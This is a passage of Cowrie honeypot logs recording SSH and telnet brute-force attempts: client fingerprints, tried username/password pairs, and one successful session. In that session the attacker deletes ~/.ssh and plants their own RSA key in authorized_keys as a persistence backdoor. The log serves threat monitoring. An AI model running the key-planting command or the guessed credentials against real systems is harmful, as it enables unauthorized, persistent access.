ha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:33.940073Z","src_ip":"196.189.51.7","session":"82ed6ed82d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"admin123","message":"login attempt [git/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:34.632603Z","src_ip":"196.189.51.7","session":"82ed6ed82d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:35.802126Z","src_ip":"196.189.51.7","session":"82ed6ed82d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":51032,"dst_ip":"159.203.135.109","dst_port":22,"session":"f872f366c788","protocol":"ssh","message":"New connection: 140.106.25.230:51032 (159.203.135.109:22) [session: f872f366c788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.230209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.235386Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.267021Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"passwd","message":"login attempt [steam/passwd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.421625Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.537281Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.541063Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.545300Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.585170Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.699389Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.703409Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.740095Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.743990Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":51156,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8a0e0d8ab42","protocol":"ssh","message":"New connection: 140.106.25.230:51156 (159.203.135.109:22) [session: e8a0e0d8ab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.763536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.768508Z","src_ip":"140.106.25.230","session":"e8a0e0d8ab42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.799585Z","src_ip":"140.106.25.230","session":"e8a0e0d8ab42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:36.945959Z","src_ip":"140.106.25.230","session":"e8a0e0d8ab42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:37.979230Z","src_ip":"140.106.25.230","session":"e8a0e0d8ab42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":51608,"dst_ip":"159.203.135.109","dst_port":22,"session":"9811a540a147","protocol":"ssh","message":"New connection: 140.106.25.230:51608 (159.203.135.109:22) [session: 9811a540a147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.007906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.013865Z","src_ip":"140.106.25.230","session":"9811a540a147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.050577Z","src_ip":"140.106.25.230","session":"9811a540a147","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.206070Z","src_ip":"140.106.25.230","session":"9811a540a147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.241704Z","src_ip":"140.106.25.230","session":"f872f366c788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:38.247600Z","src_ip":"140.106.25.230","session":"9811a540a147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56166,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c6044a6cb8f","protocol":"ssh","message":"New connection: 159.203.92.129:56166 (159.203.135.109:22) [session: 7c6044a6cb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:51.886022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:51.890365Z","src_ip":"159.203.92.129","session":"7c6044a6cb8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:51.894895Z","src_ip":"159.203.92.129","session":"7c6044a6cb8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"Zhanghua321","message":"login attempt [Zhanghua/Zhanghua321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:51.906507Z","src_ip":"159.203.92.129","session":"7c6044a6cb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:52.925769Z","src_ip":"159.203.92.129","session":"7c6044a6cb8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00526118278503,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:57.777342Z","src_ip":"152.32.87.10","session":"146302c45e6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.87.10","src_port":54028,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa29ea8a8e90","protocol":"telnet","message":"New connection: 152.32.87.10:54028 (10.17.0.5:23) [session: aa29ea8a8e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:02:59.514814Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.87.10","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"e69c835f3f87","protocol":"telnet","message":"New connection: 152.32.87.10:54458 (10.17.0.5:23) [session: e69c835f3f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:02.767528Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60756,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb5c6ee39778","protocol":"ssh","message":"New connection: 80.94.92.186:60756 (159.203.135.109:22) [session: fb5c6ee39778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:19.288254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:19.292901Z","src_ip":"80.94.92.186","session":"fb5c6ee39778","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:19.428939Z","src_ip":"80.94.92.186","session":"fb5c6ee39778","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:19.828944Z","src_ip":"80.94.92.186","session":"fb5c6ee39778","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:21.419864Z","src_ip":"80.94.92.186","session":"fb5c6ee39778","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":40076,"dst_ip":"159.203.135.109","dst_port":22,"session":"601b8b85cd2a","protocol":"ssh","message":"New connection: 140.106.25.230:40076 (159.203.135.109:22) [session: 601b8b85cd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:25.919697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:25.924966Z","src_ip":"140.106.25.230","session":"601b8b85cd2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:25.958095Z","src_ip":"140.106.25.230","session":"601b8b85cd2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456@","message":"login attempt [ubuntu/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:26.109061Z","src_ip":"140.106.25.230","session":"601b8b85cd2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:03:27.141839Z","src_ip":"140.106.25.230","session":"601b8b85cd2a","protocol":"ssh"}
